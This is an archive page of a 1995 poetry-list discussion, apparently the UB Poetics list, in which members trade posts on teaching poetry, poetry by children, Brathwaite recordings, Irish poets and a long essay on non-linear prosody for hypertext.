↑ Index

199. **maria damon**
Re: Free Verse
Wed 12 Jul 1995

---

re charles alexander's post about teaching poetry/reading it aloud; while i do have students read poems aloud in class, i also make undergrads attend at least one poetry event of their choosing during the course of the quarter. for many, it's the first time they've ever done such a thing, and it seems to have an impact that reading a poem aloud in a classroom doesn't have. it shows them the degree to which poetry is embodied not only in "voice" or sound, but in a social atmosphere/context, in a particular voice and sound, in a particular body, in the interaction between voice/presence of reader and audience, setting (bar or lecture hall or bookstore, etc). i also show videos. having a great time in boulder though it's all somewhat overwhelming, having lived in 3 places in 2 weeks, and missing my cats and my privacy. finally got to see robin blaser, it's helping to abate my fest-envy of last month.--md

↑ Index

200. **maria damon**
Re: new Stein
Wed 12 Jul 1995

> *Also, let me encourage people to pick up Joan Retallack's _Afterrimages_*
> *recently published by Wesleyan (pb. $12.95).*
> *We need to send the right message when an established press does a _living_*
> *"experimental" (the following should be bold)*
> *writer.*
>
> *--Rod Smith*

yes, was just introduced to retallack's icarus falling (thanks j spahr) and wuz knocked out, kay-o'ed on the spot.--md

↑ Index

201. **Marisa A Januzzi**
Re: McGuckian... and Nuala Ni Dhomhnaill
Wed 12 Jul 1995

Hello Burt, David et al:

Medbh (pronounced maeve) McGuckian and Nuala Ni Dhomhnaill (she pronounces that something like Noola Nee Gonal... my apologies for the awful phonetics here) are friends but very different poets currently writing in Ireland-- Nuala in Dublin and Medbh in Belfast (I think) when not seaside. Nuala writes in Irish-- she discusses that in a January 8 1995 piece in the NYTimes BookReview-- and her stuff is usually presented bilingually; she has a selected poems called SELECTED POEMS: ROGHA DANTA (tr. Michael Harnett, from Raven Arts Press). Medbh's last book is called CAPTAIN LAVENDER-- but I think her best so far is MARCONI'S COTTAGE.

My friend Laura O'Connor is writing about the colonial tensions animating Yeats's poems and she helped me hear the same in Nuala's stuff-- it's not hard, what with strategic leavings of certain words in English (there is no Irish for 'Black &Decker'...) When David Kellogg said they were writing against a context of American lit theory, postcolonial theory was all I could think of as relevent, though the wisdom is flowing east to west there and not vice versa.

I would rather be reading a poem by each *out loud* than trying to explain for instance the sexual, abstract ceremonies of metaphor constituting Medbh's poems, the tough/ready mythic acoustics in Nuala's.

Neither is quite the Iowa poet (Chris?!) that Eavan Boland's become, though I like her work too (in small doses)

Bye----

Marisa
(no slur on the state of Iowa intended)

↑ Index

202. **Wystan Curnow**
Re: Free Verse
Wed 12 Jul 1995

Dear Rod,
I'm with you on where does it come from, more than two places. thank goodness as I'm one of those unfortunates who was born without a soul.
pray for me.
Wystan

↑ Index

203. **Wystan Curnow**
Re: where it comes from
Wed 12 Jul 1995

Tony, Missed you at the Creeley reading at Alba last night. It wasn't that widely bruited--place was too full anyway--and i fear somehow the knowledge didn't reach you. Anyway, this is to advise you of his Dept. reading tomorrow at 3.00 in our Common Room. Wystan.

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204. **maria damon**
Re: Tapes of Brathwaite?
Wed 12 Jul 1995

In message <[redacted]> UB Poetics discussion group writes:
> Does anyone know where I can locate a tape of Kamau
> Brathwaite reading--especially MIDDLE PASSAGES? Any help
> would be appreciated.
>
> Michael Davidson

hi michael, there's a watershed tape of kamau brathwaite reading, it's called -- oh shoot, i'm here in boulder, can't remember the name, starts with an A. it came out before middle passages, has some stuff from The Arrivants, and other than a long and rambling introduction by carolivia herron, is a magnificent tape. Atumpan, something like that? am i way off base? i'll let you know for sure after the 18th, unless someone else comes to your aid before then. --md

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205. Marisa A Januzzi
Re: teaching
Wed 12 Jul 1995

Thanks for the great post, Hank Lazar... the remarks teaching from 'unknowing' remind me strongly of an article by Barbara Johnson in the Yale French Studies pedagogy issue, where she uses the RIME OF THE ANCIENT MARINER to articulate a productive pedagogy of... gapsmanship (sorry!! it's been years). You might enjoy it.

In what we each know, we're unequal, but in the face of the vastness of what we don't we're properly equal

For all that I know I was squeamish about issues of power and 'discipline' when I began to teach, but sometimes I think in all seriousness that students need to feel they're experiencing 'training' (to see "with" before seeing "through" the pretenses entailed in teaching as a managed activity)

In other words, Vicki Hearne, not Yale French Studies!

Flame on!! I care too much about the subject to be shy here.

Best--
Marisa

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206. Spencer Selby
Re: number three
Wed 12 Jul 1995

---

1) Stein was right.
2) Hank's career is in no danger.
3)_____

On Tue, 11 Jul 1995, Hank Lazer wrote:

> *Fourth has to do with the issue that Rod Smith raised about the importance of teaching via not-knowing. I offer the following excerpt from Bob Perelman's fine book _The Trouble with Genius_ (p. 165):*
>
> *But her [Stein's] account of first being invited to teach is revealing. The invitation was the result of an angry blowup upon meeting Robert Hutchins and Mortimer Adler of the University of Chicago. This is the only place I can recall in her work where she represents herself as losing control. Adler's list of "all the ideas*

> *that had been important in the world's history" causes Stein first to get "excited" and then "violent" (EA, 205-7). She is invited to teach Adler's class the next week, where, predictably, she triumphs. Afterward she explains to Hutchins: "You see why they talk to me is that I am like them I do not know the answer, you you say you do not know but you do know if you did not know the answer you could not spend your life in teaching but I I really do not know ... that is the trouble with governments and Utopia and teaching, the things not that can be learnt but that can be taught are not interesting" (EA, 213).*
>
> *I'd be very curious to hear how others go about basing their teaching on what they don't know. Or how various ones of you balance teaching between an orientation toward a "delivery" of what you know and a shared exploration of what you don't know. Personally, I hope that Stein is wrong. It is, I hope, possible to sustain a career in teaching precisely by basing that activity in a substantial amount of not knowing. (Though such an approach has a great capacity to annoy and baffle some students.) If not--if Stein's right--my career's about over....*
>
> *Hank Lazer*

↑ Index

207. **Rod Smith**

Re: metaphors we live by

Wed 12 Jul 1995

Jorge, yes, all the filters are the filter (in Wittgenstenian not Platonic sense? i.e. language games). But "the universe and the artist, the mirror and the lamp"? Is not so clear. . .

--Rod

↑ Index

208. **Susan Schultz**

Re: Brathwaite tape

Wed 12 Jul 1995

To Michael Davidson: There's a Watershed tape, "Atumpan," recorded in 1988 by Brathwaite, thus no MIDDLE PASSAGES. There's a short reading on the EXACT CHANGE cd. Must be others elsewhere.

Susan

↑ Index

209. Gabrielle Welford
teaching/reading aloud
Wed 12 Jul 1995

As well as going to poetry readings, a great hit and a joy for all is bringing real honest to live poets to class and just let them do what they want to do for however long. Most of my students hadn't been aware that there were local poets who write about local issues in local voices. A tremendous poet and very emotional in her reading, Mahealani Kamauu, had us all crying. She works with a lot of Native Hawaiian prisoners. I don't think my stduents had realized that poetry is actually written by people who breathe and cry. One of the people I asked to come was the same age as my students.

I completely agree about the teaching what we don't know. I used to be frightened by how much I don't know but now see it as whta makes the class come alive. Of course all this backed by everything I do know--just because I've lived so much longer than most of teh people I'm teaching.

Gabrielle
[redacted]

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210. George Bowering
Re: number three
Wed 12 Jul 1995

I teach a different course every semester that I teach, and always put on books that I have never taught before, and always at least one that I have not read. One of the best courses was one I gave in 20thC stuff in Montreal years ago; it was ALL made of texts I didnt know, and I let this be known when the course started, and I guess there were some students who thought I was conning them. Started with Joyce's _Exiles_ and went from there. We all learned a lot that term.

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211. George Bowering
Re: number three
Wed 12 Jul 1995

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212. **Ron Silliman**
Re: teaching
Wed 12 Jul 1995

I wish the old Grossman "A" 22-23 was still available. That would have been the perfect teaching text for LZ (it's perhaps the best poetry he ever wrote as well).

I had a great experience a year ago at Naropa working hard with the students to define the core values of their own writing processes (first a discussion of "how do you write" then one of "how do you really write" that went into pen vs. computer, kind of paper, time of day, location, whether other people were around, etc, etc, then had them all write a single word on a 3x5 card of what, once you removed all else, was the single thing you would find in their poems (my favorite answer was "pivot"). Then I had them do work that left that out (and which violated all the terms of their methodologies).

Teach what you don't know is a pretty good program
Write what you don't know is likewise

Ron

[redacted]

↑ Index

213. **Ron Silliman**
Re: where it comes from
Wed 12 Jul 1995

Machery's view seems resolutely to set itself up to require an intervention (the critic!) to get us from the reader back to the writer, no? I distrust theories that serve as employment programs for grad schools.

Ron

↑ Index

214. **George Bowering**
Re: Non-linear Prosody Article
Wed 12 Jul 1995

Addendum to Jim Rosenberg's long posting. Esp re Duncan's point of a sound setting the reader up not to hear it.

I dunno, about 30 some years ago Duncan was speaking of a "scale of resemblances, which is the story of whole rime. That is the poet is uring what he can do with rime when he makes thinghs slound similar, or somewhat similar or not similar at all, so:

chicken .....dear dear .....thumb

if you can hear what I mean.

↑ Index

215. George Bowering
Re: World Leaders Become Zombies
Wed 12 Jul 1995

All my life, (since Wordsworth, eh?) I have been hearing about Children being the real artists, philosophers, etc. I think that Children are just children. Although I did get my playschool fingerpainting kid's art framed once. But as for magnetic blocks on the fridge--my wife and I just used them to make comic obscene sentences, sort of the way she played scrabble.

↑ Index

216. Abby Coykendall
doing the one-two writing/teaching
Wed 12 Jul 1995

Two questions lately posed to this list seem inextricably intertwined: That of "whence writing comes" [an apparent mystery] & that of "how to teach from ignorance" [an apparent absurdity]. To begin with the second, by way of implicitly talking of the first, Marx comes in handy. In "Contribution to Critique," he configures a certain kind of critic, one who "PRACTICALLY interests a large party" by not "confronting the world dogmatically with a new principle: 'Here is the Truth, kneel before it," but instead by "developing new principles for the world out of principles of the world."

[when writing, this world is writing. and despite the language, this need not be a tauntology. and, by the by, experience finds its way in both these worlds, too]

When teaching, I also find that what I have least mastered is precisely that which comes in most handy. I especially like taking the transparent, ignorable, everyday as the place to most incite suspicion, or critique. And by using everyday materials (e.g. pop culture), it is most easy to interest a large party, one as conflictually heterogeneous as possible.

Teaching [writing] is an extreme battle over the modes of cultural recognition, and as such, marks "humanity's" very problematic, and entangled, relation to temporality. As Walter Benjamin remarks in _One Way Street_:

"The mastery of nature, so imperialists teach, is the purpose of all technology. But who would trust a cane-wielder who proclaimed the mastery of children to be the purpose of education? Is not education above all the indespensible

ordering of the relationship between generations and therefore mastery, if we are to use that term, of that relationship and not of children? and likewise technology is not the mastery of nature but of the relation of nature and man."

The subject of mastery, that upon which it WORKS, is not isolated to those "natures" supposedly distinct from "man" (or, metaphorically, the student). The subject of mastery is in fact the recognition (or non-recognition) of the irreparably entangled, and mutually constituting, relation between both. Thus, pedagogy's site of control and co-ordination, that upon which its power is exerted, is not that which it ostensibly addresses--students--but instead generational recognition itself--the continuity and contiguity of what is recognized as "man." In the cane-weilding case, mastery is "man's" attempt to (re)member "himself" as self-same, as owning or possessing what is seen as "his" "nature." The drive to order is a drive both to map a field of recognition and a drive to mask the interlocked relations of these multifarious natures. Paradoxically, or perhaps not too surprisingly, this supposed mastery steps in precisely where these relations are beyond a controllable play of recognition.

[and I would add: the word "soul" is a dangerous way to step in precisely where the relations of sender/addressee, me/I, spirit/text are beyond a controllable play of recognition, that in fact to designate them as such, is to suture what is essentially problematic & conflictual about these relations, and to likewise suture the "drive to writing" itself]

↑ Index

217. A. Morris
Re: Tapes of Brathwaite?
Wed 12 Jul 1995

Michael:

Some Brathwaite material is out on Watershed Tapes C-229. The title is Atumpan. Side 1: Soweto, Prelude (from Work Song and Blues), New World a-coming' (section 1). Side 2: New World a-comin' (section 2), Folkways, The Journeys (section 1), the Twist, Wings of a Dove, Shar/Hurricane Poem. The tape comes from a 1988 reading at Harvard. If you'd like a copy, let me know & I tape it for you.

Dee

On Tue, 11 Jul 1995, Michael Davidson wrote:

> *Does anyone know where I can locate a tape of Kamau Brathwaite reading--especially MIDDLE PASSAGES? Any help would be appreciated.*

> *Michael Davidson*

↑ Index

218. Jordan Davis.
flaming children
Wed 12 Jul 1995

George Bowering wrote: All my life, (since Wordsworth, eh?) I have been hearing about Children being the real artists, philosophers, etc. I think that Children are just children.

Hmm. I disagree, or I agree with a corollary: poets are just poets. The set of poets can include the subset of children who write poetry. Viz. Smart Like Me, and Bullseye from Hanging Loose Press, two pretty good collections of poetry by "writers of high school age." (Especially good are the poems by Jendi Reiter and Alissa Quart.)

Giant clam of me.
A hat of be.
Amy of Emerald!
Amy of flower!
Amy of Hat!
Amy of Bird!
Amy of Happiness!

--Amy Bender, 3rd grade, Beecher Road School, Woodbridge CT

Jordan

↑ Index

219. Judy Schwartz
Re: DON'T BE SO PHONOCENTRIC
Wed 12 Jul 1995

This is a reply to Steve Carll's posting of July 11 (on silence). I'm new to this list and a bit shy so I thought I'd just offer a quote from Lorine Niedecker on the subject: "Nobody, nothing/ever gave me/greater thing/than time/unless light/and silence/which if intense/makes sound" --Judy Schwartz

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220. **Don Cheney**

flaming children

Wed 12 Jul 1995

> *George Bowering wrote:*
>
> > *All my life, (since Wordsworth, eh?) I have been hearing about Children being the real artists, philosophers, etc. I think that Children are just children.*
>
> *Hmm.*
> *I disagree, or I agree with a corollary: poets are just poets. The set*
>
> > *of poets can include the subset of children who write poetry. Viz. Smart Like Me, and Bullseye from Hanging Loose Press, two pretty good collections of poetry by "writers of high school age." (Especially good are the poems by Jendi Reiter and Alissa Quart.)*
>
> *Giant clam of me.*
> *A hat of be.*
> *Amy of Emerald!*
> *Amy of flower!*
> *Amy of Hat!*
> *Amy of Bird!*
> *Amy of Happiness!*
>
> *--Amy Bender, 3rd grade, Beecher Road School, Woodbridge CT*
>
> *Jordan*

Guess what, kids? It doesn't even have to be "great" writing. Have you heard the new San Diego Padres slogan (since they gutted the team of "great" players?): "Hey, it's baseball." Well, "Hey, it's writing!" A kid is a kid is a kid. A kid who kids is a kidder. A kid who writes is a writer. I worked with a whole classroom of 8 and 9 year old writers this past school year. I agree with Jordan, the set of poets includes the subset of ANYONE who writes poetry. And, beyond that, anyone who writes knows something about the writing process and can contribute to the dialogue. Even people who are "not qualified," such as kids.

Don Cheney

[redacted]

↑ Index

221. Jorge Guitart
child poets
Wed 12 Jul 1995

anyone who has taught poetry in the schools know that those children who are naturally untrite come up with stupendous things.

↑ Index

222. Jim Rosenberg
Non-linear Prosody Article
Wed 12 Jul 1995

Well, I've decided to post this; apologies if the length offends anyone. A good half of this at least is directly relevant to recent discussions here on prosody, and the hypertext part may be interesting to some. Some of what I am saying here directly echoes [prefigures?] what George Bowering had to say about foot, though in somewhat more detail.

A few caveats. Since I wrote this, the word "agency" has generated a good deal of discomfort, and I'm not sure I'm crazy about it myself, but I haven't yet thought of a better word, so I've left it in. There is a passing reference here to "conjunctive hypertext"; this is a concept I introduced at the European Conference on Hypermedia Technology last fall (detail in http://www.well.com/user/jer/NNHI.html); to make a long story very short, conjunctive hypertext is hypertext where the components have a logical relation of "and" to one another rather than "or" (you can choose this link *or* that one, etc.) -- I can explain this in more detail if need be, but this article is already long enough.

This was originally posted to ht_lit, which is a list for literary hypertext.

---------- Cut here ---------- Notes Toward a Non-linear Prosody of Space

I. Linear Metrics

1. Background: Dimensions of inequality among syllables

The fundamental axiom of prosody in English is that all syllables are not created equal. (This is not the case in all languages; in Japanese, apparently, syllables are considered equal enough, metrically, that they are simply counted rather than being distinguished by structural patterns.) By plotting the time sequence of how these inequalities occur one obtains metrics -- a double plural, meaning a multitude of metrics. The most well known is the stress degree metric, which forms most of the discussion below, but there are several others. (1) Pitch Degrees. Although I have not analyzed this in detail, there is a

prosody at work in many American communities, most notably in a style of reading in the black community, in which I believe *pitch degrees* play a more important role than stress degrees. This forms the basis of an incredibly rich prosody, a different prosody than the classical one, which must be analyzed on its own terms. Whereas stress is a linguistic property, pitch is a purely acoustical property; thus a pitch degree prosody is more absolutely musical -- in a literal sense -- than a stress degree prosody. A pitch degree prosody is more free to use an absolute musical sense of time and structure; the sound structure balance is different -- not all phonemes carry pitch. Where a pitch degree prosody and a stress degree prosody are present at the same time, incredibly subtle effects are possible. Pitch degree prosody deserves extensive analysis in its own right.

(2) Vowel Position Degrees. Again, my impressions here are based on intuition rather than detailed analysis. My understanding of this goes back to a somewhat delphic comment by Robert Duncan. Duncan spoke often of "tone leading vowels" in talking about Pound. Not understanding what he meant by this, but wanting to know more, at a reading once I asked him where in Pound's writings I could find the discussion of tone leading vowels. To my total astonishment, he replied that it *wasn't anywhere*; Pound had used the term in letters to Duncan, simply assuming that Duncan would understand what he meant; Duncan was left to figure it out for himself. Hearing this I simply couldn't resist: "Well, what is it??" Duncan said two things, one of which was quite straightforward, the other of which was extremely obscure. He explained that when a diphthong (a glide from one "pure vowel" to another) occurs, the "leading tone", i.e. the pure vowel at which the glide begins, plays a special role in terms of later reinforcement. So far so good. Then he said: "When you hear a sound, it's reinforced when you hear it again. But it can also be reinforced when you *don't* hear it again." Just as Duncan was left to figure out on his own what Pound meant by "tone leading vowels", I felt strongly that I should simply accept this remark as a gift and work on my own to figure out what it meant; I didn't ask anything else.

I certainly don't wish to be in the business of interpreting Robert Duncan, even less interpreting Duncan interpreting Pound; but the train of thought that started with Duncan's remark has ended up with the idea of a vowel position degree metric. Vowels are sometimes diagrammed as a trapezoid which plots the position of the tongue in the mouth. I believe (again this is based on intuition, not analysis) that the possible vowel positions tend to cluster into just a few groupings, and that the plot of which grouping occurs at a given moment forms a metric. This metric is probably superimposed on the stress degree metric, again giving a very fluid effect. (I don't know if this has anything at all

to do with "tone leading vowels", but I certainly do hear something like this frequently when I read or listen to Pound.)

2. The Classical Stress-Degree Metric Stereotype

Before giving my own approach to the stress-degree metric, let me briefly sketch the stereotype most people have for how this works. If you want to argue that the stereotype is not accurate in scanning this or that poet, I would hardly disagree; but I think this stereotype does have a lot to do with attitudes towards metrics. Hopefully, by presenting a different approach, the stereotype can be broken.

There exist -- a priori, in advance of any particular poems -- a collection of abstract patterns of stress degrees. These patterns may be called *templates*. They tend to have names, e.g. iamb ('|), trochee (|'), anapest (|'') etc. (I'm using ' for an unstressed syllable, | for a stress.) *Scanning* is an activity consisting of pattern-matching template instances against the words of the poem. In the most formalized case, we say a line "scans" if repeated instances of the same template, end to end, match against the words of the line. There is a tendency to speak of poets "writing in" a meter, which means choosing a template in advance and writing lines which will scan to that template.

Readers familiar with prosody terminology may note with some surprise that so far I have not mentioned the word 'foot'. Unfortunately, the word 'foot' is deeply ambiguous: It has at least two wildly different uses in prosody. Because I believe this plays a crucial role in the widespread prejudice against and misunderstanding of metrics by many people, I want to explain this in detail, and will propose a different terminology to avoid the problem. Meanings of the word 'foot': (1) 'Foot' is often used to designate *a type of template*. (E.g. one speaks of "an iamb".) As such it is part of an a priori scheme, given in advance of the poem. (2) 'Foot' is used to designate the group of syllables *in the actual poem* which is matched by one of the templates. In this usage, a foot is a unit of meter: just above the syllable, which is the atomic unit for metrics, and below the metric line. (Of course this is not meant to deny that a foot can contain just one syllable or a line one foot.) I.e. here foot is a living breathing part of the poem, with a specific tangible identity in a metrical structure.

Many different strains in poetics, such as the Open Forms of the Black Mountain poets and Improvisational Composition of the beats, have led in directions away from the a priori, away from choosing a fixed form given in advance. Because the concept of 'foot' is so closely linked with a system of a priori templates, this has led to a sad neglect of metrics generally, and to interest in the concept of mapping the metrical structure of living breathing poems specifically. To avoid this problem, in what follows I will use the term

measure for a unit of meter intermediate between the syllable and the line where we make no assumption in advance for what shape a measure may take.

3. Bonding Strength

I wish to propose yet another dimension along which syllables can vary: bonding strength. Actually bonding strength applies not to syllables but to the boundaries between adjacent syllables. Before going into the details of how this works, it is important to note two important points about this methodology. (1) The methodology applies against *the sound* of the poem. In some cases this may be difficult to infer from a printed text absent a live or recorded reading by the poet. This idea will be quite threatening to those academics who believe that all there is to know about a poem is contained in the printed text. However, there is nothing terribly original in the idea that prosody means looking at the structure of *the sound*: it was Ezra Pound who said if you want to know about the prosody, open up your ears and listen to the sound it makes. (2) The methodology -- and I emphasize that it is a *methodology*, not a theory! -- is ruthlessly empirical. It works by examining a recitation and trying to answer the question: what is the metrical structure of this recitation. It may or may not yield useful results for any given recitation. It is not designed to answer what may be a fallacious question -- what meter did the poet "write in" -- but simply to discover whatever metrical structure happens to be there. Because poets build a voice, there is a reasonable chance that in many cases conclusions can be drawn about metrical structure, but perhaps not.

Each syllable has a *bonding strength* for the syllable before it and after it. By bonding strength is meant: (artificially) inject a pause at the syllable boundary in question, and then judge how natural the pause is against the recitation. There will be different degrees of naturalness -- different degrees of resistance to the injection of pause -- at different syllable boundaries. We say a syllable boundary has a high bonding strength if an injected pause is extremely unnatural compared to the recitation; where the pause is natural (or already there, of course) bonding strength is low. I will call a *measure* a string of syllables bounded on either side by low bonding strength and having only high bonding strength in any internal syllable boundaries. It is this empirical, overtly sound-based concept of measure which I wish to use as a replacement for usage (2) of 'foot' above.

Of course this will work with any recitation; it does not have to be poetry. I propose that the speech rhythm of English prose tends toward what I will call *The Standard Measure*, defined by the following rules: (1) A measure has only one major stress; (2) the stress tends to come at the end of the measure, but (3) if there are only unstressed syllables following the major stress out to the end of a natural grammatical boundary, those syllables will be incorporated

into the measure. (You can think of this as an attempt to reformulate the classical idea that English is "predominantly iambic" while institutionalizing the counter-examples.) The concept of "grammatical boundary" is really the same concept of bonding strength applied to syntax. Although I haven't analyzed this in detail, a simple explanation would relate grammatical bonding strength to the distance that must be traveled in a parse tree to get the closest common antecedent to two consecutive words.

This is not to say that "the standard measure" will in fact always occur. Robert Creeley, for instance, is well known for having many non-standard measure breaks in his poems, and many other poets use non-standard measure breaks quite prominently. Detailed analysis can produce some interesting results. For instance, in some of Creeley's poems, lines are predominantly either one or two measures; interestingly in the two-measure lines the internal measure boundary is a *standard* measure break. (I.e. the celebrated Creeley line-break is exactly that, a line-break, not a measure- break.) The non-standard measure boundaries are easy to hear, but the internal standard measure boundaries do not stand out so prominently. (Of course you would "hear their absence" as a lifeless regularity.) In these poems one could say that the grammatical structure goes from the middle of one line to the middle of the next; but the line endings are articulated sonically by the prominent non-standard measure boundaries. This is a familiar metrical structure going back hundreds of years, all the way to Anglo-Saxon poetry.

II. Non-linear Metrics

Prosody is traditionally the study of poetic sound structure as mapped in time. Because of the inherent linearity of time, this poses an obvious problem for non-linear poetry. Shall we say that prosody only applies within the lexia, thus punting the problem completely? Some may take this view, but I find it personally distasteful. It exempts from prosody details of hypertext structure which I think clearly need to be considered. In Michael Joyce's work, the names of links are so clearly musical it takes one's breath away: they are part of the prosody. Given that I am on record as advocating taking hypertext into the fine structure of language, thereby fragmenting the lexia, I simply can't accept leaving prosody as an inherently linear concept that applies only *inside* of lexia.

It would be nice if what follows were as well worked out as what preceded, but at this point I have only questions and some launching points for a view of non-linear prosody.

1. Linear prosody as a prosody of *space*

There are some concepts in prosody that are so overtly time-based that one simply has to give up on them in non-linear poetry. Isochrony -- the tendency of

major stresses to fall in an even musical beat -- is one such concept. There may be isochrony within the lexia, but given that outside the lexia *there is no concept of time*, in non-linear prosody one can only treat isochrony locally. However: In a one-dimensional structure, time and space are very nearly the same thing. What may appear to be a time-based concept may in fact be a space-based concept. The concept of bonding strength, as articulated above, occurs between *adjacent* syllables. 'Adjacent' is clearly a spatial concept, not a time-based concept. I defined bonding strength as the resistance by a recitation to the injection of an artificial *pause* -- time language again -- but one could just as well speak of injecting space into the poem as time. Thus:

2. Spatial Bonding Strength

The concept of bonding strength works in any kind of topology. One may speak of the bonding strength of two adjacent units as their resistance to the injection of artificial space. The replacement for the concept of measure above is a *spatial clustering*. This has some interesting consequences for "traditional" hypertext rhetoric. Whereas the classical hypertext link is typically discussed using travel vocabulary, a spatial prosody would ask the question:

What is the bonding strength *THROUGH* the link?

(This has an interesting resonance with the Kaplan/Moulthrop concept of hypertext warping space.) It may be objected that in trying to assess bonding strength through the link, one is reversing the direction of the arrow (assuming a one-directional link, and recalling Ted Nelson's caution that *all* links should really be bidirectional). Well, having no problem measuring bonding strength "against" the arrow of time in linear poetry, I have no problem doing the same thing "against" the arrow of the link. Travel may be the right vocabulary to use, but one can also speak of the *attraction* of two nodes for one another; yes, there may be an asymmetry in link direction, but there is always an asymmetry between "located here" and "could be located there". In discussing hypertext there is an overt tendency to discuss following links based on *similarity* to where one is; but perhaps not! Perhaps one wants to take a link based on *dissimilarity* to where one is! (Robert Duncan: "A sound is reinforced when it is *not* heard again ...")

Prosody may form an overt basis for following links. I find myself following links in Michael Joyce's work based on sound structure all the time. Perhaps I'm "not supposed to do that", but I do, and without having asked him about this I think Michael wouldn't mind that I do.

Prosody must work *THROUGH* links, not just inside "the lexia" (if one has lexia ...)

I speak about "links" here only because that is the most familiar form of hypertext structure; this discussion generalizes to conjunctive structures as well.

3. Agencies

By "agency" I mean a *unit of doing*. Because there is an overt structure resulting from hypertext linkage, we have a bit of a tendency to focus on that structure rather than the structure of what the reader *does*. Consider the familiar node/link/lexia model. A reader follows a series of links, then -- for whatever reason -- decides to backtrack. That series of nodes is a *unit of doing*. Unfortunately, most of the software does not treat it that way. For instance I can't *save the series*. Perhaps I can save my entire history, but I typically can't *mark it* to denote the way I think the links clump together. Perhaps the best I may be able to do is save my history to a text file and then import it into some tool where I can annotate it.

Doing has boundaries, has a shape, has units. The structure of doing unfolds against the skeleton of the hypertext structure, but it may not be the same. The hypertext structure may appear to be disjunctive, but the reader can *do* conjunctive things with it anyway. (E.g.: "*These* are the links I really like, they seem to work together ...) In a hypertext with conventional lexia, there is a concept of bonding strength among lexia.

When I speak of agency, I am *not* speaking of *history*. Agency and history are related but are not the same. The structure of history is relentlessly linear: "this is the sequence of what happened ..."; the structure of agency is likely not to be linear. There will be clusters of doing that include the same event. Some agencies will stand out clearly in the reader's mind; these may clump together even though they are isolated in time by navigations that don't stand out in the reader's mind as a clear agency: agencies don't always happen.

4. The Granularity of Agency

We have, perhaps, come far afield of prosody. I am propounding a view of linear prosody as clustering in one-dimensional space; from this one generalizes to clustering in a space of arbitrary topology. The granularity of this clustering as it traditionally affects prosody is very fine: down to the level of the syllable. A hypertext prosody granularity of space can become this fine only when hypertext is taken into the fine structure of language. I am always (it seems) advocating for this, but with few takers at present. With a more "traditional" lexia, there is a "granularity boundary" concerning units of prosody that are inside the lexia vs. those that transcend the lexia. Is the poetic lexia a stanza? Is it a line? Is it yet larger than the stanza? Even I would balk at taking hypertext inside the *word*. The words are given to us, by and large; it does not seem reasonable to me to intervene in that natural process with an external

administration of hypertext structure. It should be noted that in the discussion of linear prosody above, the "standard" speech rhythm of English does not interpose measure boundaries inside the word either. If I will not intervene inside the word with hypertext structure, and the natural rhythm of English does not intervene inside the word, that leaves the entire measure in a hypertext context likely to be linear. At its finest granularity, hypertext structure relates measures.

In the large, the structure of agency extends to the *session*. While surely multiple sessions will associate in the mind of the reader, just as there is a natural limit at the measure boundary -- even though measures contain still smaller units, namely syllables -- there is a natural boundary at the large end of the granularity of agency at the session. You have a well defined cut in doing when you sign off, surely. As obvious as this sounds, there is still a great deal of work to be done in understanding what the identity of the session should be. Hypertexts tend often to be large; it can take many sessions before the reader even begins to get a feel for how a particular hypertext "is supposed to work". Because the number of paths is genuinely infinite, the reader may have no help at all in deciding when a session should end.

Shall we say as writers, overtly and explicitly, that we *want* the reader to compose a structure of agency? Shall we say that even if the writer does not want the reader to do this, readers will want to anyway?

It seems the prosody of hypertext needs new terminology. I am comfortable with the terms syllable/word/measure/lexia, but up from there the familiar terminology breaks down completely.

5. Multiplicity of Agency

There are clearly multiple concurrent agencies in a multiuser hypertext that is being used by several users at once. An interesting rhetorical question arises from this: do we need to discuss multiplicity of agency in the context of a single reader reading a single hypertext? Put differently this is the question: How does a single mind apprehend a network? Must one simulate multiple concurrent agencies in one's own mind? (It is interesting to note in this regard that some theorists of mind -- notably Dennett -- have proposed that despite the illusion that the mind is a singular stream of agency, in fact the mind *is* a multiplicity of concurrent agencies.)

Many in the hypertext community will surely object that in this whole discussion so far, I have spoken as if reader and writer are different people -- i.e. the hypertext is "closed". It seems reasonable to me to entertain the idea that writing and reading are *separate agencies* even if done by the same person in a single session. Writing-as-reading simply becomes yet another dimension to the structure of agency.

Concluding Question:

How do we -- or do we at all -- *code* the hypertext for the structure of agency?

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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223. Steven Howard Shoemaker
teaching Zuk
Wed 12 Jul 1995

Dear Hank Lazer:

When I had the chance to teach Zuk, I found it fascinating to teach "Poem Beginning 'The'" as a kind of Jewish, leftist, American anti- "Waste Land" (which seems to be pretty much how Zuk thought of it). Now I say *I* found it fascinating, but I'm not sure I really had enough to time to both introduce my beginning students to Eliot and provide a way into Zuk's equally dense and unfamiliar poem. It would probably take several weeks to do this right. And oh yes, I also taught Martin Rowson's clever and hilarious graphical (i.e. sophisticated comic book) "Waste Land," which crosses Eliot with Raymond Chandler (so that Christopher Marlowe goes in search of answers to Eliotic conundrums). I got a surprising, or not so surprising, resistance from many of the students to the very idea of parodying the Waste Land. Even though they didn't know the poem, they knew of it, were ready for a serious dose of High Culture, and were rather offended when the course didn't present Eliot in those terms. As you acknowledge elsewhere in your post, students are often heavily invested in you, the teacher, having the answers. Perhaps even more, they want Literature to have the answers, and want you to "channel" them--the teacher as direct pipeline to the mysteries of Culture.

The Stein anecdote gives a delightful take on all this. I also taught "Lifting Belly" to that same class. It seems to me an interesting exercise to ask students to imagine Stein or Zuk as occupying that modernist cultural "center" ususally given over to Eliot--still interesting even if your intent is not really to propose any one new centering.

As I said, tho, I'm not sure how good a job i really did with "The," and i haven't yet had a chance to try it again. My most successful Zukofskyan teaching venture, then, has probably been using "Mantis," and "'Mantis': An Interpretation." The sestina form provides a recognizable way into Zuk's

habitual mental and linguistic "torsion," the clarity of the actual physical encounter and the poem's moral imperatives shine through its difficulties, and comparing the original poem with its poetic "interpretation" provides useful grounds for talking about what makes a poem a poem anyway.

Hope this helps,
steve shoemaker

PS.

I hope you'll either post your results or back-channel me when you teach Zuk in the fall.

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224. maria damon
Re: flaming children
Wed 12 Jul 1995

And, beyond that,
> anyone who writes knows something about the writing process
> and can contribute to the dialogue. Even people who are "not
> qualified," such as kids.
>
> Don Cheney
> [redacted]

yay. this is what i like to see on the list. i've started, since my visit to albany for a conference i found very exciting but nonetheless felt like an outsider at, to feel somewhat embarrassed about my populist orientations vis a vis poetry --like a yahoo or something, or a cheap "culti-multuralist" (to crib from fusco and gomez-pena) which isn't where i think i'm coming from.

another question i've been wanting to put to listers for a while now: what wd happen if we took seriously robert duncan't dictum that "there is no good or bad poetry"?--md

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225. Reginald Johanson
where it comes from
